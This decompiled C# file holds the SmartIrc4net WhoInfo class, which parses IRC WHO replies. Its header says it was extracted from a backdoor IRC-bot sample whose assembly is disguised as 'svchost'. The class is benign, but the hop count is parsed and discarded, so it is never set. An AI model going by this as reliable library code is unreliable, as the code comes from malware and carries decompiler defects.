// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.WhoInfo
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe

using System;

namespace Meebey.SmartIrc4net
{
  public class WhoInfo
  {
    private string f_Channel;
    private string f_Ident;
    private string f_Host;
    private string f_Server;
    private string f_Nick;
    private int f_HopCount;
    private string f_Realname;
    private bool f_IsAway;
    private bool f_IsOp;
    private bool f_IsVoice;
    private bool f_IsIrcOp;
    private bool f_IsRegistered;

    public string Channel => this.f_Channel;

    public string Ident => this.f_Ident;

    public string Host => this.f_Host;

    public string Server => this.f_Server;

    public string Nick => this.f_Nick;

    public int HopCount => this.f_HopCount;

    public string Realname => this.f_Realname;

    public bool IsAway => this.f_IsAway;

    public bool IsOp => this.f_IsOp;

    public bool IsVoice => this.f_IsVoice;

    public bool IsIrcOp => this.f_IsIrcOp;

    public bool IsRegistered => this.f_IsRegistered;

    private WhoInfo()
    {
    }

    public static WhoInfo Parse(IrcMessageData data)
    {
      WhoInfo whoInfo = new WhoInfo();
      whoInfo.f_Channel = data.RawMessageArray[3];
      whoInfo.f_Ident = data.RawMessageArray[4];
      whoInfo.f_Host = data.RawMessageArray[5];
      whoInfo.f_Server = data.RawMessageArray[6];
      whoInfo.f_Nick = data.RawMessageArray[7];
      whoInfo.f_Realname = string.Join(" ", data.MessageArray, 1, data.MessageArray.Length - 1);
      string message = data.MessageArray[0];
      try
      {
        int.Parse(message);
      }
      catch (FormatException ex)
      {
      }
      string rawMessage = data.RawMessageArray[8];
      bool flag1 = false;
      bool flag2 = false;
      bool flag3 = false;
      bool flag4 = false;
      bool flag5 = false;
      int length = rawMessage.Length;
      for (int index = 0; index < length; ++index)
      {
        switch (rawMessage[index])
        {
          case '*':
            flag3 = true;
            break;
          case '+':
            flag2 = true;
            break;
          case '@':
            flag1 = true;
            break;
          case 'G':
            flag4 = true;
            break;
          case 'H':
            flag4 = false;
            break;
          case 'r':
            flag5 = true;
            break;
        }
      }
      whoInfo.f_IsAway = flag4;
      whoInfo.f_IsOp = flag1;
      whoInfo.f_IsVoice = flag2;
      whoInfo.f_IsIrcOp = flag3;
      whoInfo.f_IsRegistered = flag5;
      return whoInfo;
    }
  }
}
